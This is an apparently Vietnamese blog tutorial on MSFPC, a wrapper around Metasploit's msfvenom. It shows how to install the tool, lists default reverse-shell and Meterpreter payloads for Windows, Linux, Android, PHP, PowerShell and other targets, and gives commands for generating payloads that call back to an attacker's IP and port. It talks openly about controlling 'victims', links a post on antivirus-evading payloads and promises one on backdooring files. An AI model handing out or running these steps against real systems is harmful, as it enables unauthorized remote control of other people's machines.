Giới thiệu sơ qua về MSFPC
MSFPC – viết tắt của MSFvenom Payload Creator, là một công cụ giúp bạn tạo một payload từ Metasploit Framework chỉ với 1 dòng lệnh ngắn gọn, không phải gõ msfconsole
lên rồi gõ các câu lệnh hay msfvenom
dài ngoằnh. Tạo payload với MSFPC nhanh gọn và tiết kiệm thời gian hơn rất nhiều.
MSFPC có cài sẵn trên các bản phân phối Linux dành cho mục đích kiểm thử bảo mật như Parrot Security OS, Kali Linux, BlackArch,… Nhưng nếu bạn không có xài các bản phân phối nào cho mục đích kiểm thử bảo mật thì bạn có thể đọc cách cài đặt MSFPC dưới đây. Hoặc bạn có thể bỏ qua và xem phần hướng dẫn tạo payload với MSFPC luôn.
Đọc thêm bài viết trước nếu bạn muốn: GetWin: Một công cụ tạo ra payload Win32 không thể bị phát hiện trước Anti-Virus [Hướng dẫn tạo Backdoor và Payload dễ dàng]
Cách cài đặt MSFPC
Trước tiên, bạn phải cài Metasploit Framework trước. Mở Terminal và gõ theo hướng dẫn sau:
- Cho các bản phân phối Debian:
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
chmod 755 msfinstall && sudo ./msfinstall - Cho các bản phân phối Arch Linux:
sudo pacman -S metasploit
Xong rồi thì bạn gõ: git clone https://github.com/g0tmi1k/msfpc
Thế là cài xong rồi!
Và MSFPC không có chạy được trực tiếp trên Windows đâu nha ?
MSFPC tạo các loại payload nào
MSFPC hỗ trợ tạo các loại payload sau:
- Các payload cho các hệ điều hành và ngôn ngữ lập trình: Linux (
.elf
), Mac OSX (.macho
), Windows (.exe
và.dll
), APK (Android), ASP, Bash (.sh
), Java (.jsp
), Perl (.pl
), PHP (.php
), PowerShell (.ps1
), Python (.py
), Tomcat (.war
) - Kết nối qua các giao thức: TCP, UDP, HTTP, HTTPS
- Kết nối theo kiểu Bind (Chủ động kết nối đến payload) hoặc Reverse (Payload chủ động kết nối đến bạn)
- Shell (
CMD
) là thực thi các dòng lệnh mà máy nạn nhân có sẵn. Hoặc Meterpreter (MSF
) là loại nâng cao và tương thích sâu với Metasploit, cho phép khai thác sâu hơn bằng các module trong Metasploit
Thêm nè: Nếu bạn dùng kiểu Reverse thì chừng nào payload đang hoạt động thì nó sẽ liên tục kết nối đến địa chỉ IP bạn đặt. Nếu vậy thì khả năng cao là tường lửa sẽ phát hiện ra, cảnh báo và chặn lại. Còn nếu dùng kiểu Bind thì bạn chủ động kết nối đến payload thì nó mới kết nối đến bạn, nếu bạn tắt máy và không kết nối đến nó nữa thì nó sẽ thôi kết nối đến bạn. Cả hai kiểu đều có ưu điểm và nhược điểm riêng, tuỳ bạn chọn (Cái mày mình tự nghĩ ra, khả năng cao là rất xàm và sai sự thật, lại ngu nữa nên các bạn hãy sửa giùm nếu muốn nha)
Và còn các nhiều tuỳ chọn nữa nhưng quan trọng là bốn cái trên thôi nên mình không viết đến (lười và ngu Văn ?)
Danh sách các payload mặc định:
- Bash (
bash
):cmd/unix/reverse_bash
(.sh
) - PHP (
php
):php/meterpreter/reverse_tcp
(.php
) - Java (
java
):java/meterpreter/reverse_tcp
(.jsp
) - ASP (
asp
):windows/meterpreter/reverse_tcp
(.asp
) - Perl (
perl
vàpl
):cmd/unix/reverse_perl
(.pl
) - Mac OS X (
osx
):osx/x86/shell_reverse_tcp
(.macho
) - ASPX (
aspx
):windows/meterpreter/reverse_tcp
(.aspx
) - Linux (
elf
vàlinux
):linux/x86/shell/reverse_tcp
(.elf
) - Android (
apk
):android/meterpreter/reverse_tcp
(.apk
) - Python (
python
vàpy
):python/meterpreter/reverse_tcp
(.py
) - Tomcat (
war
vàtomcat
):java/meterpreter/reverse_tcp
(.war
) - Windows (
windows
,exe
vàdll
):windows/meterpreter/reverse_tcp
(.exe
) - PowerShell (
ps1
vàpowershell
):windows/meterpreter_reverse_tcp
(.ps1
)
MSFPC sẽ tự chọn cổng mạng mặc định là 443 và giao thức mặc định là TCP. Kết nối mặc định theo kiểu Reverse.
Cách tạo payload với MSFPC
Lưu ý: Nếu bạn không dùng bản phân phối Linux cho mục đích kiểm thử bảo mật nào thì hãy mở thư mục của MSFPC trên Terminal, và thay vì gõ msfpc
bạn gõ msfpc.sh
Nếu bạn không biết địa chỉ IP của mình thì bạn không cần nhập địa chỉ IP vào khi dùng MSFPC nữa vì MSFPC sẽ tự động tìm địa chỉ IP của bạn trên cả Ethernet, WLAN và WAN luôn.
Ví dụ, để tạo một payload cho Windows, mình gõ: msfpc windows
(dạng câu lệnh: msfpc <TYPE>
). Bạn xem cụ thể ở hình dưới.
Như bạn thấy, định dạng xuất ra mặc định của payload cho Windows trên hình là
.exe
, nếu bạn muốn dùng định dạng .dll
, hoạt động trong mạng WLAN thì gõ lệnh sau: msfpc dll
(hoặc msfpc dll wlan
luôn cho tiện, cấu trúc lệnh là msfpc <TYPE> <DOMAIN/IP/INTERFACE>
) và xem cụ thể ở hình dưới (mình ngu Văn nên trong hình có hết).
Nếu bạn đã biết địa chỉ IP Ethernet, WLAN hoặc WAN rồi và muốn đổi cổng giao tiếp thì bạn có thể nhập lện
msfpc <TYPE> <DOMAIN/IP/INTERFACE> <PORT>
.
Ví dụ, mình tạo một payload cho Windows, địa chỉ IP WLAN của mình là 192.168.1.101 và mình muốn dùng cổng 80. Mình nhập lệnh msfpc windows 192.168.1.101
, và bạn lại xem cụ thể ở hình dưới :V
Và nếu bạn muốn chọn kiểu điều khiển nạn nhân thì cứ nhập cmd
(Shell) hoặc msf
(Meterpreter) ngay sau msfpc.
Ví dụ, mình tạo một payload cho Windows, địa chỉ IP WLAN của mình là 192.168.1.101, dùng cổng 80 và chỉ điều khiển nạn nhân bằng những câu lệnh có trên máy của nạn nhân thôi. Mình nhập lệnh msfpc cmd windows 192.168.1.101
, và bạn lại xem cụ thể ở hình dưới (tác giả viết bài gì mà vô trách nhiệm quá) :V
Trên đây là ba ví dụ cơ bản, thường dùng nhất. Nhưng nếu bạn muốn thì đây là cấu trúc lệnh tổng quát của MSFPC:
msfpc <TYPE> <DOMAIN/IP/INTERFACE> <PORT> <CMD/MSF> <BIND/REVERSE> <STAGED/STAGELESS> <TCP/HTTP/HTTPS/FIND_PORT> <BATCH/LOOP> <VERBOSE>
Một lưu ý to đùng nè: MSFPC không có hỗ trợ bypass virus đâu
Trên trang GitHub của MSFPC, trong phần To-Do list tác giả có ghi là “Shellcode generation” chắc là để bypass Anti-Virus mà vẫn chẳng thấy tăm hơi đâu. D a u m a tác giả :V. Mấy tháng rồi đó.
Bài sau sẽ hướng dẫn tạo Backdoor trên tập tin một cách dễ dàng nha
Hits: 1480